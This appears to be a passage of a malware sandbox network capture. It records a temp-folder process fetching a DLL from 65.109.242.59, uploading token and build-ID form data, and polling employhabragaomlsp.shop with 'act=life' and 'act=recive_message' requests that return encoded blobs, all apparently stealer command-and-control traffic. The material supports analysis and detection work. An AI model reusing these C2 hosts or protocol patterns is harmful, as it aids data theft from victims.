2024-05-24 11:43:27 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	63723	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:26 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 11:43:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 11:43:27 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aa441cahp4blco5clucjjq0i3o; expires=Tue, 17-Sep-2024 05:30:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h41LpazzL9yva26U0qpZCUDF0%2BKfe08P7bwQout0om4SaATeis2uZ2mFtSDPvsbe1SS7R0KASz8z3X0D9clwz7uTlFUI%2B%2FLfm30sHE2SH4m115MnP2WcVnbrTVyg9AsEtW2td%2BvLhk2cVg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07321ae94308-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:27 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 11:43:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	63725	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:27 UTC	278	OUT	GET /sqls.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 If-Modified-Since: Fri, 24 May 2024 10:18:21 GMT If-None-Match: "6650696d-258600" Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:28 UTC	171	IN	HTTP/1.1 304 Not Modified Server: nginx Date: Fri, 24 May 2024 11:43:27 GMT Last-Modified: Fri, 24 May 2024 10:18:21 GMT Connection: close ETag: "6650696d-258600"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	63726	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:28 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 11:43:28 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 11:43:28 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=00vko1mpb8sn5m3dmsk8mmr6c8; expires=Tue, 17-Sep-2024 05:30:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qGCNuXgIDO3rVENCmLbGFyxc75Ossp85Lz4F1NR2fd9ZnF1pMJhwZJq1MJ7eU%2Bhz16tnlopJ1ji8s1%2BEsL5T8qMxAcCfJzlq40xX3VsGFioHESTM9gowjKIi476Qt8PQy%2Fy5Eba8KWhNcA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07386a646a57-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:28 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 11:43:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	63728	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:28 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 11:43:28 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 11:43:28 UTC	822	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kienmljbgfsf7ip2vu735jbrd2; expires=Tue, 17-Sep-2024 05:30:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lGMbfSwbKmn2CmWI%2Bss1XKTZERwNtUcCzBnI4C%2Bp3Sf4iWveJJb%2BL9GISwAOmn9e%2F1PsaQ%2BxVC0wQWauCGhI%2BC9hwXVDZ3Z0EWRMmntyoADSS8g%2FvKSI1QWVyq2qsUf9kz1y5gEJwFY6%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d073bc8ea0ca6-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:28 UTC	547	IN	Data Raw: 34 65 30 0d 0a 62 6c 72 72 72 33 34 4d 37 7a 6c 67 66 56 2b 76 4e 44 4f 43 76 38 4b 4a 32 46 4d 33 41 71 4b 69 44 70 42 54 44 76 45 78 7a 46 51 56 65 4a 32 4e 52 44 6a 44 47 78 4d 59 66 5a 56 41 51 66 66 61 37 71 75 35 4e 78 55 34 78 4d 4e 69 34 7a 59 69 30 31 53 30 64 6c 51 42 6b 49 30 62 59 73 30 44 51 68 67 31 7a 56 56 66 34 4e 36 70 35 71 67 2f 56 47 72 4f 78 57 62 31 4d 47 71 51 58 61 45 78 43 7a 2b 4b 78 52 42 6c 67 6c 45 4e 58 33 4f 4e 55 55 6d 67 68 65 44 45 76 53 64 57 54 38 50 52 5a 62 49 75 49 6f 6f 54 71 54 70 4d 59 4d 6e 4f 47 32 36 44 58 77 51 57 4e 38 64 63 56 2b 48 62 71 50 6d 78 4e 56 39 71 77 4d 5a 6e 2f 7a 6c 2b 6e 56 65 6d 4f 67 30 31 69 6f 31 53 4c 6f 70 44 51 6b 64 39 6e 6d 52 53 38 63 79 31 35 71 6f 33 46 58 2b 4f 32 53 7a 31 50 53 Data Ascii: 4e0blrrr34M7zlgfV+vNDOCv8KJ2FM3AqKiDpBTDvExzFQVeJ2NRDjDGxMYfZVAQffa7qu5NxU4xMNi4zYi01S0dlQBkI0bYs0DQhg1zVVf4N6p5qg/VGrOxWb1MGqQXaExCz+KxRBlglENX3ONUUmgheDEvSdWT8PRZbIuIooTqTpMYMnOG26DXwQWN8dcV+HbqPmxNV9qwMZn/zl+nVemOg01io1SLopDQkd9nmRS8cy15qo3FX+O2Sz1PS
2024-05-24 11:43:28 UTC	708	IN	Data Raw: 4c 31 62 2f 77 2f 61 34 55 54 73 58 67 56 65 49 37 42 58 44 62 4e 56 51 63 51 4c 38 78 45 56 4f 37 50 72 4f 36 38 50 46 5a 75 77 4d 56 72 2f 7a 39 71 6c 46 43 6d 4d 67 30 32 68 63 63 66 61 6f 34 62 54 46 38 36 31 52 59 4a 6f 4f 79 6a 37 37 30 6a 56 6d 36 41 33 79 4c 72 63 57 75 66 45 2f 5a 32 42 6a 36 45 78 42 64 70 68 56 63 51 46 44 4c 4f 58 31 62 6d 31 36 50 6a 73 44 64 62 59 63 66 46 61 2b 41 2f 5a 35 35 51 70 44 42 4d 64 73 6e 4b 42 43 37 56 47 79 77 63 4c 4e 74 6b 55 76 48 4d 34 50 54 30 4b 42 56 6e 7a 49 41 30 73 6a 68 6b 6e 46 36 6a 50 41 49 39 68 4d 51 64 62 34 42 64 43 52 34 31 78 56 4a 57 34 4e 6d 74 35 4c 51 78 57 32 6a 46 78 47 62 37 63 53 4c 54 56 4c 5a 32 56 48 69 35 77 42 42 6c 67 52 6b 33 48 44 50 44 55 55 65 67 77 75 37 79 2b 6a 5a 5a 49 Data Ascii: L1b/w/a4UTsXgVeI7BXDbNVQcQL8xEVO7PrO68PFZuwMVr/z9qlFCmMg02hccfao4bTF861RYJoOyj770jVm6A3yLrcWufE/Z2Bj6ExBdphVcQFDLOX1bm16PjsDdbYcfFa+A/Z55QpDBMdsnKBC7VGywcLNtkUvHM4PT0KBVnzIA0sjhknF6jPAI9hMQdb4BdCR41xVJW4Nmt5LQxW2jFxGb7cSLTVLZ2VHi5wBBlgRk3HDPDUUegwu7y+jZZI
2024-05-24 11:43:28 UTC	1369	IN	Data Raw: 33 33 33 38 0d 0a 44 68 6f 79 7a 56 64 51 37 74 65 72 71 2f 52 78 55 6e 69 41 6d 43 7a 64 50 48 79 42 57 61 55 6e 54 67 32 4b 77 78 4a 70 6d 78 73 64 55 53 53 4e 55 56 32 67 68 65 44 67 76 44 31 5a 59 4d 62 53 59 76 30 6a 5a 6f 46 58 6f 44 49 41 4e 6f 44 41 45 32 75 66 58 77 49 4e 50 4d 68 52 58 2b 33 50 70 61 76 30 63 56 4a 34 67 4a 67 73 79 41 56 72 67 30 4b 70 64 44 6b 37 68 38 4d 62 65 4d 31 45 54 41 5a 39 79 6c 6f 52 75 4a 32 6a 35 37 63 34 55 47 2f 53 79 6d 44 7a 49 32 75 61 57 71 51 33 41 6a 65 43 77 52 6c 38 68 6c 51 4b 45 44 7a 41 57 31 72 6b 33 65 43 6c 2b 6a 5a 4e 49 4a 69 41 54 66 38 2b 66 70 42 43 37 41 4d 50 4e 6f 66 4b 43 69 36 53 46 52 74 66 4f 73 45 57 43 61 44 63 72 4f 65 37 50 6c 4e 71 79 4d 4e 74 34 44 68 6a 6d 31 79 6e 4e 77 38 38 69 Data Ascii: 3338DhoyzVdQ7terq/RxUniAmCzdPHyBWaUnTg2KwxJpmxsdUSSNUV2gheDgvD1ZYMbSYv0jZoFXoDIANoDAE2ufXwINPMhRX+3Ppav0cVJ4gJgsyAVrg0KpdDk7h8MbeM1ETAZ9yloRuJ2j57c4UG/SymDzI2uaWqQ3AjeCwRl8hlQKEDzAW1rk3eCl+jZNIJiATf8+fpBC7AMPNofKCi6SFRtfOsEWCaDcrOe7PlNqyMNt4Dhjm1ynNw88i
2024-05-24 11:43:28 UTC	1369	IN	Data Raw: 66 56 67 63 58 4e 38 52 54 58 65 33 65 73 75 69 37 63 52 73 67 78 39 67 73 71 6e 46 4c 6f 47 53 4e 64 68 4e 32 6b 49 30 62 59 73 30 44 51 68 34 31 79 6c 68 56 38 74 4f 79 35 62 30 78 55 32 6a 49 78 32 44 38 50 33 36 62 55 71 34 34 41 7a 43 41 79 52 31 71 69 56 63 46 58 33 4f 4e 55 55 6d 67 68 65 44 44 75 53 74 50 49 75 37 4c 62 50 55 68 65 6f 67 54 73 58 67 56 65 49 37 42 58 44 62 4e 58 77 6b 56 4e 4d 35 66 56 65 33 64 71 65 53 7a 4f 56 68 6f 30 73 46 6d 34 44 56 70 6b 6c 79 6b 4d 67 51 30 68 73 45 59 66 49 59 62 54 46 38 36 31 52 59 4a 6f 50 32 72 2f 5a 6b 6a 52 79 44 66 6a 6e 57 79 4e 6d 44 54 43 2b 34 2f 41 44 6d 49 78 78 70 6c 69 46 59 43 47 6a 66 4b 57 6c 48 67 33 71 62 74 74 7a 6c 64 62 4d 7a 44 59 66 63 31 66 6f 46 58 70 6e 5a 43 65 49 37 56 58 44 Data Ascii: fVgcXN8RTXe3esui7cRsgx9gsqnFLoGSNdhN2kI0bYs0DQh41ylhV8tOy5b0xU2jIx2D8P36bUq44AzCAyR1qiVcFX3ONUUmgheDDuStPIu7LbPUheogTsXgVeI7BXDbNXwkVNM5fVe3dqeSzOVho0sFm4DVpklykMgQ0hsEYfIYbTF861RYJoP2r/ZkjRyDfjnWyNmDTC+4/ADmIxxpliFYCGjfKWlHg3qbttzldbMzDYfc1foFXpnZCeI7VXD
2024-05-24 11:43:28 UTC	1369	IN	Data Raw: 58 78 72 58 57 31 66 33 7a 4a 58 73 75 6d 41 56 66 34 37 5a 4c 50 55 39 4c 4d 73 54 6f 7a 6f 47 4e 59 7a 4a 46 47 6d 4f 57 67 34 62 4d 4d 42 53 57 4f 54 59 73 76 6d 38 50 31 56 76 7a 73 39 67 34 44 39 70 6b 31 2f 75 65 45 77 2f 6b 59 31 45 4c 72 78 4d 41 6c 38 69 67 30 38 52 35 39 48 67 73 2f 6f 2b 57 48 4c 4d 7a 32 7a 7a 4d 6d 69 59 56 4b 67 77 44 54 75 4d 7a 68 6c 6f 6a 46 73 4f 46 54 72 46 58 46 2f 74 32 36 54 74 76 48 45 62 49 4d 66 59 4c 4b 70 78 58 70 35 64 70 7a 55 4b 4e 5a 2f 6c 4c 53 36 53 46 52 74 66 4f 73 45 57 43 61 44 5a 71 2b 4f 32 4e 46 31 6c 77 63 68 6d 2b 6a 35 6a 67 56 4b 68 50 77 73 7a 68 4d 49 53 61 34 4e 4a 42 52 51 32 78 56 39 66 35 70 33 75 71 37 30 70 46 54 69 41 39 6d 2f 38 4f 6e 32 63 55 4b 4a 32 45 33 61 51 6a 52 74 69 7a 51 4e Data Ascii: XxrXW1f3zJXsumAVf47ZLPU9LMsTozoGNYzJFGmOWg4bMMBSWOTYsvm8P1Vvzs9g4D9pk1/ueEw/kY1ELrxMAl8ig08R59Hgs/o+WHLMz2zzMmiYVKgwDTuMzhlojFsOFTrFXF/t26TtvHEbIMfYLKpxXp5dpzUKNZ/lLS6SFRtfOsEWCaDZq+O2NF1lwchm+j5jgVKhPwszhMISa4NJBRQ2xV9f5p3uq70pFTiA9m/8On2cUKJ2E3aQjRtizQN
2024-05-24 11:43:28 UTC	1369	IN	Data Raw: 31 46 57 37 35 2b 4a 37 4b 45 77 58 32 50 4c 7a 43 7a 74 66 33 58 54 56 4b 4a 32 56 48 69 45 77 52 46 71 6e 31 63 43 48 7a 54 4b 58 45 50 76 30 71 33 6f 75 6a 52 48 59 64 4c 50 5a 2f 63 79 61 4a 78 63 6f 6a 34 47 65 4d 65 4e 47 33 62 4e 41 30 49 7a 50 74 78 63 45 38 66 48 74 75 79 32 49 46 35 74 7a 49 42 7a 76 43 67 73 6c 46 2f 75 62 6b 77 34 69 4d 41 4f 61 34 78 52 43 42 49 31 77 6c 4e 55 37 39 6d 6b 34 4c 51 6a 57 32 2f 41 78 6d 66 7a 4e 47 2b 59 57 61 41 2f 48 6e 6a 48 6a 52 74 32 7a 51 4e 43 4e 53 62 4d 57 31 32 69 38 36 76 39 76 58 4e 30 62 73 76 48 59 4f 52 78 63 39 31 4b 37 6a 45 41 65 4e 47 4e 46 57 43 42 57 41 55 58 4e 63 68 57 57 75 44 53 71 75 57 39 49 31 39 73 79 74 4a 6a 38 54 78 6f 6e 6c 6d 72 50 78 34 39 67 4d 74 63 49 4d 31 63 47 6c 39 6c Data Ascii: 1FW75+J7KEwX2PLzCztf3XTVKJ2VHiEwRFqn1cCHzTKXEPv0q3oujRHYdLPZ/cyaJxcoj4GeMeNG3bNA0IzPtxcE8fHtuy2IF5tzIBzvCgslF/ubkw4iMAOa4xRCBI1wlNU79mk4LQjW2/AxmfzNG+YWaA/HnjHjRt2zQNCNSbMW12i86v9vXN0bsvHYORxc91K7jEAeNGNFWCBWAUXNchWWuDSquW9I19sytJj8TxonlmrPx49gMtcIM1cGl9l
2024-05-24 11:43:28 UTC	1369	IN	Data Raw: 72 65 72 50 32 33 50 68 56 2f 6a 74 6b 73 39 54 30 73 79 78 4f 38 4a 41 77 7a 69 63 6f 53 66 49 78 54 44 52 55 39 79 31 31 62 34 39 53 6b 35 62 4d 33 56 47 33 42 77 57 7a 33 4d 57 57 42 58 75 35 34 54 44 2b 52 6a 55 51 75 75 6c 63 4a 4c 6a 37 62 46 6b 37 66 6b 2b 44 6b 6f 48 45 4e 57 64 6d 41 61 2f 35 78 4e 4e 4e 47 71 54 59 4c 49 70 2f 4b 45 48 2b 47 56 67 34 39 4d 73 70 41 55 75 2f 65 73 65 4c 32 4f 6c 67 67 6a 6f 42 72 36 6e 45 30 30 33 79 70 49 41 38 58 69 74 77 56 4c 73 4d 62 42 51 6c 39 6c 52 5a 76 6f 4d 2b 6a 2b 37 6b 2b 52 46 36 41 6d 48 58 4d 63 57 65 46 56 4c 34 31 47 6a 4f 45 77 51 31 51 7a 51 4e 57 54 57 2b 66 42 41 50 2f 6e 62 2f 55 39 48 46 55 49 4a 6a 35 64 62 49 6e 4c 4d 73 42 34 48 59 65 65 4e 47 4e 57 32 32 66 53 51 51 63 4b 38 34 52 62 Data Ascii: rerP23PhV/jtks9T0syxO8JAwzicoSfIxTDRU9y11b49Sk5bM3VG3BwWz3MWWBXu54TD+RjUQuulcJLj7bFk7fk+DkoHENWdmAa/5xNNNGqTYLIp/KEH+GVg49MspAUu/eseL2OlggjoBr6nE003ypIA8XitwVLsMbBQl9lRZvoM+j+7k+RF6AmHXMcWeFVL41GjOEwQ1QzQNWTW+fBAP/nb/U9HFUIJj5dbInLMsB4HYeeNGNW22fSQQcK84Rb
2024-05-24 11:43:28 UTC	1369	IN	Data Raw: 6c 2b 6a 63 56 4f 4a 4f 4f 4c 50 59 67 4c 4d 73 44 2f 47 31 5a 61 39 36 64 54 6e 48 44 51 6b 49 4a 66 5a 55 45 48 36 44 50 34 4c 50 36 64 6c 5a 79 30 73 5a 76 35 44 49 72 72 57 32 76 4f 77 4e 30 68 38 59 63 61 5a 31 4e 47 56 4d 31 7a 6b 78 4c 33 75 4f 4c 35 37 77 32 54 32 66 47 35 6b 7a 4d 44 79 54 66 58 61 6b 69 43 7a 61 50 7a 56 77 67 7a 56 52 43 52 77 53 4e 48 68 48 66 6b 2b 44 7a 2b 6d 6b 56 56 63 50 4f 59 76 55 6e 66 64 35 37 6a 51 77 32 65 71 58 4b 43 53 79 35 58 42 49 4f 4e 73 42 61 45 61 36 64 70 71 76 69 59 52 73 67 78 4e 45 73 71 6d 45 2b 79 41 62 39 59 56 78 71 6c 6f 4d 46 4c 70 73 62 57 6b 31 7a 6a 55 51 52 75 4a 33 6e 36 4b 67 6a 55 32 50 57 77 79 76 4d 44 30 75 64 56 4b 38 67 48 43 2b 47 38 79 4a 37 6a 6c 55 4d 47 43 76 63 46 68 2b 67 30 75 Data Ascii: l+jcVOJOOLPYgLMsD/G1Za96dTnHDQkIJfZUEH6DP4LP6dlZy0sZv5DIrrW2vOwN0h8YcaZ1NGVM1zkxL3uOL57w2T2fG5kzMDyTfXakiCzaPzVwgzVRCRwSNHhHfk+Dz+mkVVcPOYvUnfd57jQw2eqXKCSy5XBIONsBaEa6dpqviYRsgxNEsqmE+yAb9YVxqloMFLpsbWk1zjUQRuJ3n6KgjU2PWwyvMD0udVK8gHC+G8yJ7jlUMGCvcFh+g0u
2024-05-24 11:43:28 UTC	1369	IN	Data Raw: 51 79 43 59 6b 79 4b 79 49 79 7a 4c 45 2b 6b 31 48 69 71 50 7a 67 70 74 79 6d 55 38 4d 69 2f 4b 52 6c 4b 69 37 4b 33 76 72 43 52 57 63 4d 66 2b 55 74 38 6a 61 34 4e 51 37 41 63 61 4f 34 6e 44 47 79 37 44 47 78 70 66 5a 59 31 37 51 2b 66 4e 6f 36 75 6c 66 30 77 67 31 6f 41 30 6f 58 38 73 67 52 50 32 64 6b 73 32 68 4d 77 66 59 49 35 4a 45 42 6b 2b 32 31 55 57 33 75 4f 4e 2b 62 30 68 56 69 4c 78 7a 57 6a 6b 4a 47 2b 44 56 4a 41 49 49 53 71 4f 33 52 38 73 6f 56 77 50 45 77 50 7a 59 55 44 6e 7a 65 4c 4e 75 53 64 57 49 49 36 41 64 4c 4a 70 4c 4c 35 42 71 53 59 50 65 71 58 4b 45 57 4c 4e 52 45 77 47 66 64 73 57 43 62 4f 54 34 50 6e 36 61 52 55 6e 77 39 4a 2b 39 44 4a 36 6b 42 53 51 43 43 45 71 6a 74 30 66 4c 4c 78 57 42 67 6b 6f 7a 6b 5a 57 33 75 4f 4e 2b 62 30 Data Ascii: QyCYkyKyIyzLE+k1HiqPzgptymU8Mi/KRlKi7K3vrCRWcMf+Ut8ja4NQ7AcaO4nDGy7DGxpfZY17Q+fNo6ulf0wg1oA0oX8sgRP2dks2hMwfYI5JEBk+21UW3uON+b0hViLxzWjkJG+DVJAIISqO3R8soVwPEwPzYUDnzeLNuSdWII6AdLJpLL5BqSYPeqXKEWLNREwGfdsWCbOT4Pn6aRUnw9J+9DJ6kBSQCCEqjt0fLLxWBgkozkZW3uON+b0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	63729	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:29 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHIJEHJDHIDHIDAEHC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:29 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 Data Ascii: ------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------AEGHIJEHJDHIDHIDAEHCCont
2024-05-24 11:43:29 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:29 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	63730	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:29 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 11:43:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 11:43:29 UTC	820	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qoo37dmhqjsa1f2f24igvqeo1e; expires=Tue, 17-Sep-2024 05:30:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RPiE%2BqRuDWxntOBEUTbkMjteRo5XGO4KH813cu3Ne00hPAaG5k%2BE2dO0R6oRLRqkilF0FeEXsB27vKVq%2FjFyKZB5fRw%2BV%2B4ENIYDKVYhKACtYsneILoPhxQ6nmpy%2F9a%2BdRUg82Ok6Rm8IQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07401be4426b-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 11:43:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	63731	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:29 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 11:43:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 11:43:29 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u6ct1g0lheiict1vdaekvgcjk9; expires=Tue, 17-Sep-2024 05:30:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Iju5sIQdpkK7iD1ugTABhvYHnTGK9E%2Br1zfZoJqrpccaZHaajXRCxaKLoRAKgG7bsHGLmZIaH513Kfd43Tq3jYnojpQXMmmyKQOlVb%2B1PVPPqGOev8O2Rrq9AxEpgAZ8M4OQPB0yWEudzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07408d4317a5-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 11:43:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	63732	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:29 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
